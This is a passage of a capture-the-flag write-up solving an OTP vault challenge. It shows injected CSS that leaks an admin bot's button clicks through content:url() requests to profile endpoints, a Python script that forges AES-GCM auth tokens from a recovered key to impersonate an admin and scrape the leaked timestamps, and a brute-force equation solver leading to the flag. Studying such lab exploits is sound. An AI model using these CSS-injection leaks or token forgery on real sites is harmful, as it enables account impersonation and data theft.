.source-cards>.number-card:not(.number-card--2-chars):not(.number-card--3-chars):not(.number-card--4-chars).number-card--anim-popout:nth-child(5) {
  content: url(/api/profile/elijah1char?v=5.0)
}
.source-cards>.number-card:not(.number-card--2-chars):not(.number-card--3-chars):not(.number-card--4-chars).number-card--anim-popout:nth-child(6) {
  content: url(/api/profile/elijah1char?v=6.0)
}
.source-cards>.number-card:not(.number-card--2-chars):not(.number-card--3-chars):not(.number-card--4-chars).number-card--anim-popout:nth-child(7) {
  content: url(/api/profile/elijah1char?v=7.0)
}

.source-cards>.number-card--2-chars.number-card--anim-popout:nth-child(1) {
  content: url(/api/profile/elijah2char?v=1.0)
}
.source-cards>.number-card--2-chars.number-card--anim-popout:nth-child(2) {
  content: url(/api/profile/elijah2char?v=2.0)
}
.source-cards>.number-card--2-chars.number-card--anim-popout:nth-child(3) {
  content: url(/api/profile/elijah2char?v=3.0)
}
.source-cards>.number-card--2-chars.number-card--anim-popout:nth-child(4) {
  content: url(/api/profile/elijah2char?v=4.0)
}
.source-cards>.number-card--2-chars.number-card--anim-popout:nth-child(5) {
  content: url(/api/profile/elijah2char?v=5.0)
}
.source-cards>.number-card--2-chars.number-card--anim-popout:nth-child(6) {
  content: url(/api/profile/elijah2char?v=6.0)
}
.source-cards>.number-card--2-chars.number-card--anim-popout:nth-child(7) {
  content: url(/api/profile/elijah2char?v=7.0)
}

.source-cards>.number-card--3-chars.number-card--anim-popout:nth-child(1) {
  content: url(/api/profile/elijah3char?v=1.0)
}
.source-cards>.number-card--3-chars.number-card--anim-popout:nth-child(2) {
  content: url(/api/profile/elijah3char?v=2.0)
}
.source-cards>.number-card--3-chars.number-card--anim-popout:nth-child(3) {
  content: url(/api/profile/elijah3char?v=3.0)
}
.source-cards>.number-card--3-chars.number-card--anim-popout:nth-child(4) {
  content: url(/api/profile/elijah3char?v=4.0)
}
.source-cards>.number-card--3-chars.number-card--anim-popout:nth-child(5) {
  content: url(/api/profile/elijah3char?v=5.0)
}
.source-cards>.number-card--3-chars.number-card--anim-popout:nth-child(6) {
  content: url(/api/profile/elijah3char?v=6.0)
}
.source-cards>.number-card--3-chars.number-card--anim-popout:nth-child(7) {
  content: url(/api/profile/elijah3char?v=7.0)
}

.source-cards>.number-card--4-chars.number-card--anim-popout:nth-child(1) {
  content: url(/api/profile/elijah4char?v=1.0)
}
.source-cards>.number-card--4-chars.number-card--anim-popout:nth-child(2) {
  content: url(/api/profile/elijah4char?v=2.0)
}
.source-cards>.number-card--4-chars.number-card--anim-popout:nth-child(3) {
  content: url(/api/profile/elijah4char?v=3.0)
}
.source-cards>.number-card--4-chars.number-card--anim-popout:nth-child(4) {
  content: url(/api/profile/elijah4char?v=4.0)
}
.source-cards>.number-card--4-chars.number-card--anim-popout:nth-child(5) {
  content: url(/api/profile/elijah4char?v=5.0)
}
.source-cards>.number-card--4-chars.number-card--anim-popout:nth-child(6) {
  content: url(/api/profile/elijah4char?v=6.0)
}
.source-cards>.number-card--4-chars.number-card--anim-popout:nth-child(7) {
  content: url(/api/profile/elijah4char?v=7.0)
}

.operation:nth-child(1)>.number-card--anim-popout {
    content: url(/api/profile/elijahichar1)
}
.operation:nth-child(2)>.number-card--anim-popout {
    content: url(/api/profile/elijahichar2)
}
.operation:nth-child(3)>.number-card--anim-popout {
    content: url(/api/profile/elijahichar3)
}
.operation:nth-child(4)>.number-card--anim-popout {
    content: url(/api/profile/elijahichar4)
}
.operation:nth-child(5)>.number-card--anim-popout {
    content: url(/api/profile/elijahichar5)
}

.operators>.number-card--anim-popout:nth-child(1) {
    content: url(/api/profile/elijahplus)
}
.operators>.number-card--anim-popout:nth-child(2) {
    content: url(/api/profile/elijahminus)
}
.operators>.number-card--anim-popout:nth-child(3) {
    content: url(/api/profile/elijahtimes)
}
.operators>.number-card--anim-popout:nth-child(4) {
    content: url(/api/profile/elijahdivide)
}

/*

Now I wanted to write a script which would:

  1. Send a POST request to http://chals.tisc25.ctf.sg:23196/api/vault/check which activates the bot to click the buttons without changing the OTP

  2. Checks the aforementioned user accounts to check for the timestamps of profile views right after the bot was activated

  3. Sort the timestamps and produce a chronological display of buttons clicked

  4. Display the equations obtained in a mathematically friendly manner. (for ease of more LLM processing)

These 4 steps would be repeated to get a set of about 3 distinct equations for the same OTP target.

I got ChatGPT and Claude to do steps 1-3 for me and did step 4 myself.

Final Python script to do steps 1-4
import os
import binascii
from urllib.parse import urlparse
from typing import List, Optional, Tuple
import requests
from playwright.sync_api import sync_playwright, TimeoutError as PlaywrightTimeoutError
from cryptography.hazmat.primitives.ciphers.aead import AESGCM
from datetime import datetime

def encrypt_gcm_hex(key: bytes, plaintext: bytes) -> str:
    """AES-GCM (12B nonce) → hex(nonce||ciphertext||tag)."""
    if len(key) not in (16, 24, 32):
        raise ValueError("AES-GCM key must be 16/24/32 bytes")
    aesgcm = AESGCM(key)
    nonce = os.urandom(12)
    ct = aesgcm.encrypt(nonce, plaintext, None)  # ciphertext||tag
    return binascii.hexlify(nonce + ct).decode("ascii")

def extract_timestamps(page) -> List[str]:
    # Primary: exact cells
    ts = [t.strip() for t in page.locator("td.timestamp").all_inner_texts()]
    if ts:
        return ts
    # Fallback: find the TIMESTAMP column
    headers = [h.strip().lower() for h in page.locator("table thead tr th").all_inner_texts()]
    ts_idx = next((i for i, h in enumerate(headers) if "timestamp" in h), None)
    if ts_idx is None:
        return []
    rows = page.locator("table tbody tr")
    out = []
    for i in range(rows.count()):
        cells = rows.nth(i).locator("td").all_inner_texts()
        if ts_idx < len(cells):
            out.append(cells[ts_idx].strip())
    return out

def scrape_profile(base_url: str, key: bytes, username: str) -> List[str]:
    token_hex = encrypt_gcm_hex(key, username.encode("utf-8"))
    url = f"{base_url.rstrip('/')}/profile"

    with sync_playwright() as p:
        browser = p.chromium.launch(headless=True)

        # This app requires the Authorization header with the raw hex token.
        context = browser.new_context(extra_http_headers={"Authorization": token_hex})

        # Optionally set cookies if the site also uses them
        host = urlparse(base_url).hostname or "localhost"
        context.add_cookies([
            {"name": "authToken", "value": token_hex, "domain": host, "path": "/"},
            {"name": "username",  "value": username,  "domain": host, "path": "/"},
        ])

        page = context.new_page()
        page.goto(url, wait_until="domcontentloaded")

        # Give client-side rendering time to finish
        try:
            page.wait_for_selector("table", timeout=1000)
        except PlaywrightTimeoutError:
            pass

        timestamps = extract_timestamps(page)
        if not timestamps:
            # Save to inspect selectors if needed
            with open("debug_profile_hydrated_final.html", "w", encoding="utf-8") as f:
                f.write(page.content())

        context.close()
        browser.close()

    return timestamps

def parse_timestamp(ts: str) -> Optional[datetime]:
    """Parse timestamps like '09/27/2025, 12:32:46'."""
    for fmt in ("%m/%d/%Y, %H:%M:%S", "%m/%d/%y, %H:%M:%S"):
        try:
            return datetime.strptime(ts, fmt)
        except ValueError:
            continue
    return None

# elijah1char: either 1, 2 or 4
# elijah2char: either 11 or 34
# elijah3char: 152
# elijah4char: 1007
# elijahichar1: used result from line 1, elijahichar2: used result from line 2 etc
usernames = [
    "elijahichar1", "elijahichar2", "elijahichar3", "elijahichar4", "elijahichar5",
    "elijah1char", "elijah2char", "elijah3char", "elijah4char",
    "elijahplus", "elijahtimes", "elijahminus", "elijahdivide"
]

# remember to inject css before this!!!
if __name__ == "__main__":
    key = bytes.fromhex("8f7fd234ba4d90f25e2fb8f34cfd1044")

    # (Optional) show current time
    print(f"current time: {datetime.now().strftime('%H:%M:%S')}")

    post_url = 'http://chals.tisc25.ctf.sg:23196/api/vault/check'
    post_cookies = {"authToken": encrypt_gcm_hex(key, b"admin_elijah2"), "username": "admin_elijah2"}
    post_headers = {"Authorization": encrypt_gcm_hex(key, b"admin_elijah2")}

    post_time = datetime.now()
    print(f"post cutoff: {post_time.strftime('%m/%d/%Y, %H:%M:%S')}")
    
    x = requests.post(post_url, cookies=post_cookies, headers=post_headers)

    if x.status_code == 200:
        print("bot triggered")
    else:
        print(f"error: {x.status_code}")

    # Gather (dt, username, original_text) for all post-cutoff timestamps
    post_events: List[Tuple[datetime, str, str]] = []

    for username in usernames:
        print(f"\n=== User: {username} ===")
        ts_list = scrape_profile("http://chals.tisc25.ctf.sg:23196", key, username=username)

        # Filter & display per-user post-cutoff hits (optional verbose per-user view)
        user_kept = []
        for ts in ts_list:
            dt = parse_timestamp(ts)
            if dt and dt > post_time:
                post_events.append((dt, username, ts))
                user_kept.append(ts)

        if user_kept:
            print("Timestamps (post-POST):")
            for i, ts in enumerate(user_kept, 1):
                print(f"{i:02d}: {ts}")
        else:
            print("No post-POST timestamps found")

    # Sort all kept timestamps globally and label by user
    post_events.sort(key=lambda x: x[0])

    # print("\n=== Sorted post-request timestamps (global) ===")
    print("\n=== Equations ===")
    # parsing logic here and pray gpt can solve it
    ops_used = set()
    op_used_in_eqn = False
    writingfirst = True
    cur_eqn = 0
    if not post_events:
        print("None")
    else:
        for dt, user, ts_text in post_events:
            # Example line: 09/27/2025, 12:32:33 — elijahtimes
            # print(f"{ts_text} — {user}")
            if user == "elijah1char":
                if writingfirst:
                    print("? ", end="")
                else:
                    if not op_used_in_eqn:
                        for op in ops_used:
                            print(op, end="")
                        print(" ", end="")
                    print("? ", end="")
                    print(f"= r{cur_eqn}")
                    cur_eqn += 1
                    op_used_in_eqn = False
                writingfirst = not writingfirst
            elif user == "elijah2char":
                if writingfirst:
                    print("?? ", end="")
                else:
                    if not op_used_in_eqn:
                        for op in ops_used:
                            print(op, end="")
                        print(" ", end="")
                    print("?? ", end="")
                    print(f"= r{cur_eqn}")
                    cur_eqn += 1
                    op_used_in_eqn = False
                writingfirst = not writingfirst
            elif user == "elijah3char":
                if writingfirst:
                    print("152 ", end="")
                else:
                    if not op_used_in_eqn:
                        for op in ops_used:
                            print(op, end="")
                        print(" ", end="")
                    print("152 ", end="")
                    print(f"= r{cur_eqn}")
                    cur_eqn += 1
                    op_used_in_eqn = False
                writingfirst = not writingfirst
            elif user == "elijah4char":
                if writingfirst:
                    print("1007 ", end="")
                else:
                    if not op_used_in_eqn:
                        for op in ops_used:
                            print(op, end="")
                        print(" ", end="")
                    print("1007 ", end="")
                    print(f"= r{cur_eqn}")
                    cur_eqn += 1
                    op_used_in_eqn = False
                writingfirst = not writingfirst
            elif user.startswith("elijahichar"):
                rval = int(user[len("elijahichar"):])
                if writingfirst:
                    print(f"r{rval-1} ", end="")
                else:
                    if not op_used_in_eqn:
                        for op in ops_used:
                            print(op, end="")
                        print(" ", end="")
                    print(f"r{rval-1} ", end="")
                    print(f"= r{cur_eqn}")
                    cur_eqn += 1
                    op_used_in_eqn = False
                writingfirst = not writingfirst
            elif user == "elijahminus":
                print("− ", end="")
                ops_used.add('−')
                op_used_in_eqn = True
            elif user == "elijahplus":
                print("+ ", end="")
                ops_used.add('+')
                op_used_in_eqn = True
            elif user == "elijahtimes":
                print("× ", end="")
                ops_used.add('×')
                op_used_in_eqn = True
            elif user == "elijahdivide":
                print("÷ ", end="")
                ops_used.add('÷')
                op_used_in_eqn = True

The output looks something like this:

ccurrent time: 22:55:39
post cutoff: 09/30/2025, 22:55:39
bot triggered

=== User: elijahichar1 ===
Timestamps (post-POST):
01: 09/30/2025, 22:55:50

=== User: elijahichar2 ===
Timestamps (post-POST):
01: 09/30/2025, 22:55:54

=== User: elijahichar3 ===
Timestamps (post-POST):
01: 09/30/2025, 22:55:57

=== User: elijahichar4 ===
Timestamps (post-POST):
01: 09/30/2025, 22:55:58

=== User: elijahichar5 ===
No post-POST timestamps found

=== User: elijah1char ===
Timestamps (post-POST):
01: 09/30/2025, 22:55:47
02: 09/30/2025, 22:56:00
03: 09/30/2025, 22:56:02

=== User: elijah2char ===
Timestamps (post-POST):
01: 09/30/2025, 22:55:44
02: 09/30/2025, 22:55:48

=== User: elijah3char ===
Timestamps (post-POST):
01: 09/30/2025, 22:55:51

=== User: elijah4char ===
Timestamps (post-POST):
01: 09/30/2025, 22:55:55

=== User: elijahplus ===
Timestamps (post-POST):
01: 09/30/2025, 22:55:56

=== User: elijahtimes ===
Timestamps (post-POST):
01: 09/30/2025, 22:55:52

=== User: elijahminus ===
Timestamps (post-POST):
01: 09/30/2025, 22:55:46

=== User: elijahdivide ===
Timestamps (post-POST):
01: 09/30/2025, 22:55:59

=== Equations ===
?? − ? = r0
?? − r0 = r1
152 × r1 = r2
1007 + r2 = r3
r3 ÷ ? = r4
? 

As you can see, occasionally the last click doesn't get registered. I just re-run the script until it works, and get multiple sets of valid equations. Valid equation sets would look something like:

=== eqn set 1 ===
152 + ? = r0
?? × r0 = r1
1007 +× ? = r2
r2 ÷ ? = r3
r1 − r3 = r4
?? +-÷x r4 = r5
=== eqn set 2 ===
152 ÷ ? = r0
r0 − ?? = r1
?? × r1 = r2
r2 −×÷ 1007 = r3
? −×÷ r3 = r4
r4 −×÷ ? = r5
=== eqn set 3 ===
? + ? = r0
1007 × r0 = r1
r1 ×+ 152 = r2
?? ×+ ?? = r3
r2 − r3 = r4
r4 ×+− ? = r5

I then threw this to Claude to solve for r5, assuming r5 is the same for all equation sets. (If it failed I might have had to write this myself ...)

Fortunately, Claude was able to consistently solve these equations. For the above case for example, it gave me this solve script:

Claude's solve script (Python)
def solve_fourth_equation_sets():
    """
    Solve the three new sets of equations with constraints:
    - ? can be 1, 2, or 4 (unique within each set)
    - ?? can be 11 or 34 (unique within each set)
    - All sets must have same r5 (4-digit number)
    """
    single_vals = [1, 2, 4]
    double_vals = [11, 34]
    
    def find_set1_solutions():
        """Set 1: 152 + ? = r0, ?? × r0 = r1, 1007 +× ? = r2, r2 ÷ ? = r3, r1 − r3 = r4, ?? +-÷× r4 = r5"""
        solutions = []
        for s1 in single_vals:   # first ?
            for dd1 in double_vals:  # first ??
                for s2 in single_vals:   # second ?
                    if s2 == s1:  # ? cannot be the same
                        continue
                    for s3 in single_vals:   # third ?
                        if s3 == s1 or s3 == s2:  # ? cannot be the same
                            continue
                        for dd2 in double_vals:  # second ??
                            if dd2 == dd1:  # ?? cannot be the same
                                continue
                            
                            r0 = 152 + s1
                            r1 = dd1 * r0
                            
                            # Try operators for 1007 +× ? = r2
                            for op1 in ['+', '*']:
                                if op1 == '+':
                                    r2 = 1007 + s2
                                else:  # '*'
                                    r2 = 1007 * s2
                                
                                # r2 ÷ ? = r3
                                if r2 % s3 == 0:  # Must divide evenly
                                    r3 = r2 // s3
                                    r4 = r1 - r3
                                    
                                    # Try operators for ?? +-÷× r4 = r5
                                    for op2 in ['+', '-', '/', '*']:
                                        if op2 == '+':
                                            r5 = dd2 + r4
                                        elif op2 == '-':
                                            r5 = dd2 - r4
                                        elif op2 == '/' and r4 != 0 and dd2 % r4 == 0:
                                            r5 = dd2 // r4
                                        elif op2 == '*':
                                            r5 = dd2 * r4
                                        else:
                                            continue
                                        
                                        if 1000 <= r5 <= 9999:
                                            solutions.append({
                                                's1': s1, 'dd1': dd1, 's2': s2, 's3': s3, 'dd2': dd2,
                                                'r0': r0, 'r1': r1, 'r2': r2, 'r3': r3, 'r4': r4, 'r5': r5,
                                                'ops': [op1, op2]
                                            })
        return solutions
    
    def find_set2_solutions():
        """Set 2: 152 ÷ ? = r0, r0 − ?? = r1, ?? × r1 = r2, r2 −×÷ 1007 = r3, ? −×÷ r3 = r4, r4 −×÷ ? = r5"""
        solutions = []
        for s1 in single_vals:   # first ?
            if 152 % s1 == 0:  # 152 must be divisible by s1
                for dd1 in double_vals:  # first ??
                    for dd2 in double_vals:  # second ??
                        if dd2 == dd1:  # ?? cannot be the same
                            continue
                        for s2 in single_vals:   # second ?
                            if s2 == s1:  # ? cannot be the same
                                continue
                            for s3 in single_vals:   # third ?
                                if s3 == s1 or s3 == s2:  # ? cannot be the same
                                    continue
                                
                                r0 = 152 // s1
                                r1 = r0 - dd1
                                r2 = dd2 * r1
                                
                                # Try operators for r2 −×÷ 1007 = r3
                                for op1 in ['-', '*', '/']:
                                    if op1 == '-':
                                        r3 = r2 - 1007
                                    elif op1 == '*':
                                        r3 = r2 * 1007
                                    elif op1 == '/' and r2 % 1007 == 0:
                                        r3 = r2 // 1007
                                    else:
                                        continue
                                    
                                    # Try operators for ? −×÷ r3 = r4
                                    for op2 in ['-', '*', '/']:
                                        if op2 == '-':
                                            r4 = s2 - r3
                                        elif op2 == '*':
                                            r4 = s2 * r3
                                        elif op2 == '/' and r3 != 0 and s2 % r3 == 0:
                                            r4 = s2 // r3
                                        else:
                                            continue
                                        
                                        # Try operators for r4 −×÷ ? = r5
                                        for op3 in ['-', '*', '/']:
                                            if op3 == '-':
                                                r5 = r4 - s3
                                            elif op3 == '*':
                                                r5 = r4 * s3
                                            elif op3 == '/' and s3 != 0 and r4 % s3 == 0:
                                                r5 = r4 // s3
                                            else:
                                                continue
                                            
                                            if 1000 <= r5 <= 9999:
                                                solutions.append({
                                                    's1': s1, 'dd1': dd1, 'dd2': dd2, 's2': s2, 's3': s3,
                                                    'r0': r0, 'r1': r1, 'r2': r2, 'r3': r3, 'r4': r4, 'r5': r5,
                                                    'ops': [op1, op2, op3]
                                                })
        return solutions
    
    def find_set3_solutions():
        """Set 3: ? + ? = r0, 1007 × r0 = r1, r1 ×+ 152 = r2, ?? ×+ ?? = r3, r2 − r3 = r4, r4 ×+− ? = r5"""
        solutions = []
        for s1 in single_vals:   # first ?
            for s2 in single_vals:   # second ?
                if s2 == s1:  # ? cannot be the same
                    continue
                for dd1 in double_vals:  # first ??
                    for dd2 in double_vals:  # second ??
                        if dd2 == dd1:  # ?? cannot be the same
                            continue
                        for s3 in single_vals:   # third ?
                            if s3 == s1 or s3 == s2:  # ? cannot be the same
                                continue
                            
                            r0 = s1 + s2
                            r1 = 1007 * r0
                            
                            # Try operators for r1 ×+ 152 = r2
                            for op1 in ['*', '+']:
                                if op1 == '*':
                                    r2 = r1 * 152
                                else:  # '+'
                                    r2 = r1 + 152
                                
                                # Try operators for ?? ×+ ?? = r3
                                for op2 in ['*', '+']:
                                    if op2 == '*':
                                        r3 = dd1 * dd2
                                    else:  # '+'
                                        r3 = dd1 + dd2
                                    
                                    r4 = r2 - r3
                                    
                                    # Try operators for r4 ×+− ? = r5
                                    for op3 in ['*', '+', '-']:
                                        if op3 == '*':
                                            r5 = r4 * s3
                                        elif op3 == '+':
                                            r5 = r4 + s3
                                        else:  # '-'
                                            r5 = r4 - s3
                                        
                                        if 1000 <= r5 <= 9999:
                                            solutions.append({
                                                's1': s1, 's2': s2, 'dd1': dd1, 'dd2': dd2, 's3': s3,
                                                'r0': r0, 'r1': r1, 'r2': r2, 'r3': r3, 'r4': r4, 'r5': r5,
                                                'ops': [op1, op2, op3]
                                            })
        return solutions
    
    # Find solutions for each set
    print("Finding solutions for each set...")
    set1_solutions = find_set1_solutions()
    set2_solutions = find_set2_solutions()
    set3_solutions = find_set3_solutions()
    
    print(f"Set 1: {len(set1_solutions)} solutions")
    print(f"Set 2: {len(set2_solutions)} solutions")
    print(f"Set 3: {len(set3_solutions)} solutions")
    
    # Show some sample solutions for debugging
    if set1_solutions:
        print(f"\nSample Set 1 r5 values: {[sol['r5'] for sol in set1_solutions[:5]]}")
    if set2_solutions:
        print(f"Sample Set 2 r5 values: {[sol['r5'] for sol in set2_solutions[:5]]}")
    if set3_solutions:
        print(f"Sample Set 3 r5 values: {[sol['r5'] for sol in set3_solutions[:5]]}")
    
    # Find common r5 values
    set1_r5 = {sol['r5'] for sol in set1_solutions}
    set2_r5 = {sol['r5'] for sol in set2_solutions}
    set3_r5 = {sol['r5'] for sol in set3_solutions}
    
    common_r5 = set1_r5 & set2_r5 & set3_r5
    
    print(f"\nSet 1 r5 values: {sorted(set1_r5) if set1_r5 else 'None'}")
    print(f"Set 2 r5 values: {sorted(set2_r5) if set2_r5 else 'None'}")
    print(f"Set 3 r5 values: {sorted(set3_r5) if set3_r5 else 'None'}")
    print(f"\nCommon r5 values: {sorted(common_r5) if common_r5 else 'None'}")
    
    # Show detailed solutions for each common r5
    for r5_val in sorted(common_r5):
        print(f"\n{'='*50}")
        print(f"SOLUTIONS FOR r5 = {r5_val}")
        print(f"{'='*50}")
        
        # Set 1 solution
        sol1 = next(sol for sol in set1_solutions if sol['r5'] == r5_val)
        print(f"\nSet 1:")
        print(f"  152 + {sol1['s1']} = {sol1['r0']}")
        print(f"  {sol1['dd1']} × {sol1['r0']} = {sol1['r1']}")
        print(f"  1007 {sol1['ops'][0]} {sol1['s2']} = {sol1['r2']}")
        print(f"  {sol1['r2']} ÷ {sol1['s3']} = {sol1['r3']}")
        print(f"  {sol1['r1']} - {sol1['r3']} = {sol1['r4']}")
        print(f"  {sol1['dd2']} {sol1['ops'][1]} {sol1['r4']} = {sol1['r5']}")
        
        # Set 2 solution
        sol2 = next(sol for sol in set2_solutions if sol['r5'] == r5_val)
        print(f"\nSet 2:")
        print(f"  152 ÷ {sol2['s1']} = {sol2['r0']}")
        print(f"  {sol2['r0']} - {sol2['dd1']} = {sol2['r1']}")
        print(f"  {sol2['dd2']} × {sol2['r1']} = {sol2['r2']}")
        print(f"  {sol2['r2']} {sol2['ops'][0]} 1007 = {sol2['r3']}")
        print(f"  {sol2['s2']} {sol2['ops'][1]} {sol2['r3']} = {sol2['r4']}")
        print(f"  {sol2['r4']} {sol2['ops'][2]} {sol2['s3']} = {sol2['r5']}")
        
        # Set 3 solution
        sol3 = next(sol for sol in set3_solutions if sol['r5'] == r5_val)
        print(f"\nSet 3:")
        print(f"  {sol3['s1']} + {sol3['s2']} = {sol3['r0']}")
        print(f"  1007 × {sol3['r0']} = {sol3['r1']}")
        print(f"  {sol3['r1']} {sol3['ops'][0]} 152 = {sol3['r2']}")
        print(f"  {sol3['dd1']} {sol3['ops'][1]} {sol3['dd2']} = {sol3['r3']}")
        print(f"  {sol3['r2']} - {sol3['r3']} = {sol3['r4']}")
        print(f"  {sol3['r4']} {sol3['ops'][2]} {sol3['s3']} = {sol3['r5']}")

if __name__ == "__main__":
    solve_fourth_equation_sets()

The result of running the script was something like:

Finding solutions for each set...
Set 1: 10 solutions
Set 2: 12 solutions
Set 3: 60 solutions

Sample Set 1 r5 values: [3199, 1476, 2368, 4995, 4236]
Sample Set 2 r5 values: [7570, 7574, 2328, 1162, 2328]
Sample Set 3 r5 values: [2803, 2795, 3132, 3124, 2803]

Set 1 r5 values: [1219, 1246, 1476, 2368, 3199, 3301, 4236, 4306, 4811, 4995]
Set 2 r5 values: [1162, 1199, 1928, 2184, 2328, 4811, 4812, 7570, 7574]
Set 3 r5 values: [2795, 2803, 3124, 3132, 4811, 4815, 5140, 5144, 5819, 5820, 5821, 6148, 6149, 6150, 9626]

Common r5 values: [4811]

==================================================
SOLUTIONS FOR r5 = 4811
==================================================

Set 1:
  152 + 4 = 156
  34 × 156 = 5304
  1007 + 1 = 1008
  1008 ÷ 2 = 504
  5304 - 504 = 4800
  11 + 4800 = 4811

Set 2:
  152 ÷ 2 = 76
  76 - 11 = 65
  34 × 65 = 2210
  2210 - 1007 = 1203
  4 * 1203 = 4812
  4812 - 1 = 4811

Set 3:
  1 + 4 = 5
  1007 × 5 = 5035
  5035 + 152 = 5187
  11 * 34 = 374
  5187 - 374 = 4813
  4813 - 2 = 4811

This allowed me to easily solve the OTPs twice in a row and get the admin secret 😄

# Unlock successful, secret is TISC{1t_w45_7h3_f1r57_g00gl3_r35ul7_f0r_c55_54n171z3r}

Last updated